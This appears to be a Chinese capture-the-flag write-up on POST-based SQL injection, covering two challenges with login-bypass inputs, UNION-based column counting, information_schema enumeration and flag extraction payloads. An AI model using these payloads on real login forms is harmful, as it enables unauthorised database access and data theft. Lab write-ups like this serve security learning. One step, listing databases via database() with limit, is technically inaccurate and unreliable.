SQL注入——POST类型
靶场地址
原理:
POST注入就是利用post传参,用户提交数据与数据库进行交互,从数据库中提取有用的信息
第一题:
我们首先查看源码
它直接去运行了代码,没有做任何的处理,因此,我们只需要闭合username的前面的代码,再把后面代码注释掉就可以实现数据交互
我在账号框框里输入
' or 1=1 #
直接显示
于是,我先来判断字段数
依次输入代码
'union select 1#
'union select 1,2#
'union select 1,2,3#
发现只有第三个才显示登陆成功
于是,判断字段数有3个
接着,我们用database()查询数据库名:输入代码
同样依次输入
'union select 1,2,database() limit 0,1 #
…
'union select 1,2,database() limit 9,1 #
error
head_error
information_schema
kanwolongxia
mysql
performance_schema
post_error
sys
widechar
查询到数据库,post_error,判断flag可能在这里面
于是继续输入代码
'union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 #
找到flag
继续查表名:
输入代码
'union select 1,2,column_name from information_schema.columns where table_name='flag' limit 0,1 #
'union select 1,2,column_name from information_schema.columns where table_name='flag' limit 1,1 #
'union select 1,2,column_name from information_schema.columns where table_name='flag' limit 2,1 #
发现它有两个列名:
flag
id
于是找到flag、
直接查询flag数据
输入代码
' union select 1,2,group_concat(flag) from flag#
于是得到flag
第二题
方法相同,但是它的源代码不同
我们需要用
”) or 1=1 #
登陆成功,有post注入漏洞
于是,我先来判断字段数
依次输入代码
") union select 1#
")union select 1,2#
") union select 1,2,3#
判断字段数有3个
接着,我们用database()查询数据库名:输入代码
同样依次输入
")union select 1,2,database() limit 0,1 #
…
")union select 1,2,database() limit 9,1 #
error
head_error
information_schema
kanwolongxia
mysql
performance_schema
post_error
sys
widechar
查询到数据库,post_error,判断flag可能在这里面
于是继续输入代码
") union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 #
发现它有两个列名:
flag
id
于是找到flag、
直接查询flag数据
输入代码
") union select 1,2,group_concat(flag) from flag#
于是得到flag
第二题完